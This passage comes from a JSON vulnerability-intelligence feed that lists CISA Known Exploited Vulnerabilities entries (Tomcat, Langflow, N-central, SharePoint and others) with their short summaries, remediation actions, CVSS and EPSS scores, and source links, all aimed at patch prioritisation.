patching guidelines.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-63077","asOf":"2026-07-27T16:44:32.290Z"},"epss":{"probability":0.93558,"percentile":0.99839,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-63077&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-63077","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-05","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-63077 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-63077&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-63077, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA JetBrains","url":"https://cveawg.mitre.org/api/cve/CVE-2026-63077","type":"primary","publishedAt":"2026-07-27T16:44:32.290Z","checkedAt":"2026-10-26T16:51:01.652Z","supports":"The published CVE-2026-63077 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:51:01.652Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18556","cveId":"CVE-2026-18556","aliases":[],"kind":"vulnerability","title":"N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability","summary":"N-able N-central contains an authentication bypass using an alternate path or channel that allows for authentication bypass.","detail":"CISA added this entry on 2026-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-04","updatedAt":null,"regions":["Global"],"vendor":"N-able","product":"N-central","stacks":["N-able","N-central"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-04","dueAt":"2026-08-07","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-18556","asOf":"2026-08-01T19:59:30.913Z"},"epss":{"probability":0.07882,"percentile":0.94669,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18556&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-18556","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-18556 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18556&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18556, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA N-able","url":"https://cveawg.mitre.org/api/cve/CVE-2026-18556","type":"primary","publishedAt":"2026-08-01T19:59:30.913Z","checkedAt":"2026-10-26T16:51:01.652Z","supports":"The published CVE-2026-18556 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:51:01.652Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34486","cveId":"CVE-2026-34486","aliases":[],"kind":"vulnerability","title":"Apache Tomcat Missing Encryption of Sensitive Data Vulnerability","summary":"Apache Tomcat contains a missing encryption of sensitive data vulnerability that allows the bypass of the EncryptInterceptor. This vulnerability can be chained with CVE‑2025‑24813.","detail":"CISA added this entry on 2026-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-04","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Tomcat","stacks":["Apache Tomcat","Apache","Tomcat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-04","dueAt":"2026-08-07","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-34486","asOf":"2026-09-21T19:43:41.203Z"},"epss":{"probability":0.98503,"percentile":0.99919,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34486&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-34486","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-34486 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34486&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34486, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-34486","type":"primary","publishedAt":"2026-04-09T19:35:35.994Z","checkedAt":"2026-10-26T16:51:01.652Z","supports":"The published CVE-2026-34486 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:51:01.652Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-9198","cveId":"CVE-2026-9198","aliases":[],"kind":"vulnerability","title":"IBM Langflow Code Injection Vulnerability","summary":"Langflow contains a code injection vulnerability that allows unauthenticated attackers to achieve full remote code execution on default Langflow deployments.","detail":"CISA added this entry on 2026-08-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-04","updatedAt":null,"regions":["Global"],"vendor":"IBM","product":"Langflow","stacks":["IBM","LangChain and Langflow","Langflow"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-04","dueAt":"2026-08-07","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-9198","asOf":"2026-08-17T19:10:55.374Z"},"epss":{"probability":0.28658,"percentile":0.98124,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-9198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-9198","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-9198 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-9198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-9198, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA ibm","url":"https://cveawg.mitre.org/api/cve/CVE-2026-9198","type":"primary","publishedAt":"2026-07-17T17:36:11.246Z","checkedAt":"2026-10-26T16:51:01.652Z","supports":"The published CVE-2026-9198 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:51:01.652Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18577","cveId":"CVE-2026-18577","aliases":[],"kind":"vulnerability","title":"N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability","summary":"N-able N-central contains an authentication bypass using an alternate path or channel allows for authentication bypass and account takeover in N-central. This vulnerability is the result of an incomplete patch for CVE-2026-18556.","detail":"CISA added this entry on 2026-08-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-08-03","updatedAt":null,"regions":["Global"],"vendor":"N-able","product":"N-central","stacks":["N-able","N-central"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-08-03","dueAt":"2026-08-06","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:L/E:A","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-18577","asOf":"2026-08-02T22:06:18.296Z"},"epss":{"probability":0.14622,"percentile":0.9663,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18577&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-18577","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-08-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-18577 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18577&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18577, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA N-able","url":"https://cveawg.mitre.org/api/cve/CVE-2026-18577","type":"primary","publishedAt":"2026-08-02T22:06:18.296Z","checkedAt":"2026-10-26T16:51:01.652Z","supports":"The published CVE-2026-18577 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T16:51:01.652Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-20316","cveId":"CVE-2026-20316","aliases":[],"kind":"vulnerability","title":"Cisco Secure Firewall Management Center Use of Hard-coded Password Vulnerability","summary":"Cisco Secure Firewall Management Center (FMC) formerly known as Firepower Management Center contains a use of hard-coded password vulnerability that could allow an unauthenticated, remote attacker to log in to an affected device using a low-privileged account to access sensitive data within the impacted systems.","detail":"CISA added this entry on 2026-07-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-29","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Secure Firewall Management Center (FMC)","stacks":["Cisco","Secure Firewall Management Center (FMC)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-29","dueAt":"2026-08-01","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-20316","asOf":"2026-09-16T20:14:18.851Z"},"epss":{"probability":0.35096,"percentile":0.98427,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-20316&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-20316","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-20316 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-20316&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-20316, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisco","url":"https://cveawg.mitre.org/api/cve/CVE-2026-20316","type":"primary","publishedAt":"2026-07-29T16:22:08.888Z","checkedAt":"2026-10-26T17:05:57.935Z","supports":"The published CVE-2026-20316 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:05:57.935Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-68686","cveId":"CVE-2025-68686","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS Exposure of Sensitive Information to an Unauthorized Actor Vulnerability","summary":"Fortinet FortiOS contains an exposure of sensitive information to an unauthorized actor vulnerability. This may allow a remote unauthenticated attacker to bypass the patch developed for the symbolic link persistency mechanism observed in some post-exploit cases, via crafted HTTP requests. An attacker would need first to have compromised the product via another vulnerability, at filesystem level.","detail":"CISA added this entry on 2026-07-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-27","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS","stacks":["Fortinet","FortiOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-27","dueAt":"2026-08-10","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2025-68686","asOf":"2026-02-10T15:39:12.777Z"},"epss":{"probability":0.29499,"percentile":0.98171,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-68686&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-68686","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-68686 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-68686&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-68686, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA fortinet","url":"https://cveawg.mitre.org/api/cve/CVE-2025-68686","type":"primary","publishedAt":"2026-02-10T15:39:12.777Z","checkedAt":"2026-10-26T17:05:57.935Z","supports":"The published CVE-2025-68686 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:05:57.935Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16812","cveId":"CVE-2026-16812","aliases":[],"kind":"vulnerability","title":"Arista VeloCloud Orchestrator On-Prem OS Command Injection Vulnerability","summary":"Arista VeloCloud Orchestrator On-Prem contains an OS command injection vulnerability that may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.","detail":"CISA added this entry on 2026-07-27. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-27","updatedAt":null,"regions":["Global"],"vendor":"Arista","product":"VeloCloud Orchestrator","stacks":["Arista","VeloCloud Orchestrator"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-27","dueAt":"2026-07-30","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/S:P","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-16812","asOf":"2026-07-27T16:11:00.968Z"},"epss":{"probability":0.01001,"percentile":0.62587,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16812&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-16812","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-27","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-16812 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16812&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16812, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Arista","url":"https://cveawg.mitre.org/api/cve/CVE-2026-16812","type":"primary","publishedAt":"2026-07-27T16:11:00.968Z","checkedAt":"2026-10-26T17:05:57.935Z","supports":"The published CVE-2026-16812 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:05:57.935Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16232","cveId":"CVE-2026-16232","aliases":[],"kind":"vulnerability","title":"Check Point SmartConsole Improper Authentication Vulnerability","summary":"Check Point SmartConsole contains an improper authentication vulnerability which could allow an unauthenticated remote attacker to obtain an application login token and use it to authenticate with full administrative privileges.","detail":"CISA added this entry on 2026-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-22","updatedAt":null,"regions":["Global"],"vendor":"Check Point","product":"SmartConsole","stacks":["Check Point","SmartConsole"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-22","dueAt":"2026-07-25","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-16232","asOf":"2026-08-02T07:06:06.363Z"},"epss":{"probability":0.03517,"percentile":0.89136,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16232&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-16232","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-22","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-16232 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16232&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16232, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA checkpoint","url":"https://cveawg.mitre.org/api/cve/CVE-2026-16232","type":"primary","publishedAt":"2026-07-22T13:53:09.830Z","checkedAt":"2026-10-26T17:05:57.935Z","supports":"The published CVE-2026-16232 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:05:57.935Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-50522","cveId":"CVE-2026-50522","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Deserialization of Untrusted Data Vulnerability","summary":"Microsoft SharePoint contains a deserialization of untrusted data vulnerability which could allow an unauthorized attacker to execute code over a network.","detail":"CISA added this entry on 2026-07-22. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-22","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint","stacks":["Microsoft SharePoint","Microsoft","SharePoint"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-22","dueAt":"2026-07-25","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching 